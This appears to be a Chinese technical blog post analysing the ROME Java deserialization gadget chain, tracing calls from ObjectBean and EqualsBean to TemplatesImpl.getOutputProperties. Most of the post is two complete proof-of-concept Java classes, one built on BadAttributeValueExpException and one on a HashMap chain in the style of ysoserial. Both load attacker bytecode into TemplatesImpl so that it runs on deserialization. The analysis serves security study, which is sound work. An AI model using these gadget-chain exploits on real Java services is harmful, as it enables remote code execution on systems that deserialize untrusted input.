Java反序列化漏洞-ROME利用链分析

直接看到执行getOutputProperties的方法

image-20211204151421618

调用了BeanIntrospector.getPropertyDescriptors(_beanClass)获取_beanClass中的所有的getter和setter方法。其中_beanClass是我们在ObjectBean中传入的一个class类型的对象

image-20211204152322667

具体获取getter和setter方法在getPDs的另一个重载了的方法里面

image-20211204152551440

而我们知道TemplatesImpl的getOutputProperties前面是以get开头的满足这个格式,我们可以用ToStringBean.toString调用到TemplatesImpl的getOutputProperties。接着另一个无参的toString调用了这个有参数的toString

image-20211204153424063

获取_obj类名的prefix然后传入有参数的toString方法

然后看到ObjectBean的toString方法,ObjectBean的toStirng调用了成员变量_toStrinBean的toString方法。

image-20211204153911323

再来看一下ObjectBean的构造方法_toStringBean是如何传入的,_toStringBean我们可控.也就是我们找到readObject中有调用到对象的toString方法。熟悉cc链的同学可能会想到BadAttributeValueExpException。

image-20211204154236199

构造一下poc

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

public class ROME {
    public static void main(String[] args) throws Exception{
        //构造恶意TemplatesImpl
        TemplatesImpl templates =new TemplatesImpl();
        SetFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        SetFieldValue(templates, "_name", "HelloTemplatesImpl");
        SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        //构造ObjectBean
        ObjectBean objectBean = new ObjectBean(Templates.class, templates);
        //构造BadAttributeValueExpException
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("lsf");
        //反射将恶意的ObjectBean设置进BadAttributeValueExpException中
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,objectBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(badAttributeValueExpException);
        byte[] sss = byteArrayOutputStream.toByteArray();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
        ois.readObject();
    }

    public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(methodName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }
}

这个可能和ysoserial的利用链不太一样,我自己用BadAttributeValueExpException改造了一下。接着来看ysoserial中的ROME利用链。ysoserial一开始使用了HashMap的readObject调用ObjectBean的hashcode。而ObjectBean的hashCode调用了_equalsBean的beadnHashCode。_equalsBean是一个EqualsBean对象,EqualsBean的beanHashCode调用了_obj.toString方法,_obj为我们ObjectBean传入的object对象。这就连接上了上一个链我们只要将_obj设置成刚刚构造的有恶意TemplatesImpl的ObjectBean即可。

image-20211204161030313

构造poc

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;

public class ROME {
    public static void main(String[] args) throws Exception{
        //构造TemplatesImpl
        TemplatesImpl templates =new TemplatesImpl();
        SetFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        SetFieldValue(templates, "_name", "HelloTemplatesImpl");
        SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        //objectBean1设置了templates,当调用objectBean1.toString即可执行恶意类
        ObjectBean objectBean1 = new ObjectBean(Templates.class, templates);
        //objectBean2是外层的ObjectBean,当调用到objectBean2.hashcode即可调用到objectBean1.toString
        ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1);


        HashMap hashMap = new HashMap();
        hashMap.put(objectBean1,"lsf");

        //通过反射设置HashMap中的值
        Class nodeC = Class.forName("java.util.HashMap$Node");
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 1);
        Array.set(tbl, 0, nodeCons.newInstance(0, objectBean2, objectBean2, null));
        Field fieldtable = hashMap.getClass().getDeclaredField("table");
        fieldtable.setAccessible(true);
        fieldtable.set(hashMap,tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(hashMap);
        byte[] sss = byteArrayOutputStream.toByteArray();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
        ois.readObject();
    }

    public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(methodName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }
}
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值